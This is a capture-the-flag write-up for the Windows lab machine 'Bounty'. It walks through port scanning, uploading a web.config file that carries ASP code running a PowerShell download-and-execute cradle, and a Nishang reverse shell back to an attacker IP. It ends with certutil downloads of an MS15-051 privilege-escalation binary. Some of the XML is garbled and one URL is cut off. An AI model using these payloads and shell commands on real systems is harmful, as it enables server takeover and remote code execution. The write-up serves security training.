# Bounty Writeup
![](img/19.png)
## Introduction :
Bounty is an easy Windows box that was released back in June 2018.
## **Part 1 : Initial Enumeration**
As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
λ nihilist [ 93.22.134.89 ] [~] → nmap -sC -sV 10.10.10.93
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-25 08:23 CET
Nmap scan report for 10.10.10.93
Host is up (0.095s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Bounty
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.16 seconds
## **Part 2 : Getting User Access**
It seems like our nmap scan found the 80th port opened, we will run a gobuster scan in order to enumerate the directories we will be able to work with.
λ nihilist [ 93.22.134.89 ] [~] → gobuster -u http://10.10.10.93/ -w /usr/share/wordlists/directory-list-2.3-medium.txt

/transfer.aspx (Status: 200)
/uploadedFiles (Status: 301)
Gobuster seems to have found 2 interesting pages : -/transfer.aspx (which returns a status 200) -/uploadedfiles (which returns a status 301)
![](prg/19_001.png) ![](prg/19_002.png)
Searching for the keywords **"IIS 7.5 RCE"** , the results tell us that we should be able to upload a file **web.config**
We will submit our script to the website and ready our terminal running the command nc with the -lvnp flags in order to catch the incoming connection to our 9001 port.
_web.config:_
<****?xml version="1.0" encoding="UTF-8"?> <****configuration> <****system.webServer> <****handlers accessPolicy="Read, Script, Write"> <****add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" /> <****/handlers> <****security> <****requestFiltering> <****fileExtensions> <****remove fileExtension=".config" /> <****hiddenSegments> <****/fileExtensions> <****remove segment="web.config" /> <****/hiddenSegments> <****/requestFiltering> <****/security> <****/system.webServer> <****/configuration> <****%@ Language=VBScript %> <****%
Set s = CreateObject("WScript.Shell")
Set cmd = s.Exec("cmd /c powershell -c IEX (New-Object Net.Webclient).downloadstring('ht>
o = cmd.StdOut.Readall()
Response.write(o)
%****>****
Our nihilist.ps1 script is a copy of Nishang's [Invoke-PowerShellTcp.ps1](https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1)
_Terminal 1:_
λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Bounty] → curl -sk https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1 > nihilist.ps1
λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Bounty] → echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.48 -Port 9001' >> nihilist.ps1
As it is written above, our nihilist.ps1 script will attempt to send a reverse shell connection to our machine at the of 10.10.14.48 adress, onto it's 9001st port. So we will ready our terminal with the nc command and it's -lvnp flags in order to catch the incoming connection.
λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Bounty] → nc -lvnp 9001
We submit our web.config file
![](prg/19_004.png)
We then browse to it, and then we wait for the reverse shell to come back to our terminal.

## **Part 3 : Getting Root Access**
In order to escalate privileges from merlin to the SYSTEM user, we need to first look at the results of the systeminfo command.

We see that there are no Hotfixes onto the machine, which indicates a serious security flaw. So we will attempt to escalate privileges using the MS15-051. we will not forget that we will be applying a privilege escalation binary onto a 64 bit machine.

Now we just need to download both the ms15-051.exe and nc.exe binary onto our local machine, at the IP 10.10.14.48 at the 8000th port.
_Terminal 1:_
PS C:\Users> certutil -urlcache -f http://10.10.14.48:8000/ms15-051.exe nihilist_privesc.exe
**** Online ****
CertUtil: -URLCache command FAILED: 0x80070005 (WIN32: 5)
CertUtil: Access is denied.
Let's not forget to download it onto the machine within a folder where we have the write rights.
PS C:\Users> cd ..
PS C:\> cd Windows
PS C:\Windows> cd temp
Now we should be able to download our 2 binaries
PS C:\Windows\temp> certutil -urlcache -f http://10.10.14.48:8000/ms15-051.exe nihilist_privesc.exe

Our binaries got uploaded ! now before we execute it we will ready our reverse shell terminal with the same nc command to catch the incoming connection.

And that's it ! we have been able to get a root shell onto the box and we have been able to print out the root flag.
## **Conclusion**
Here we can see the progress graph :
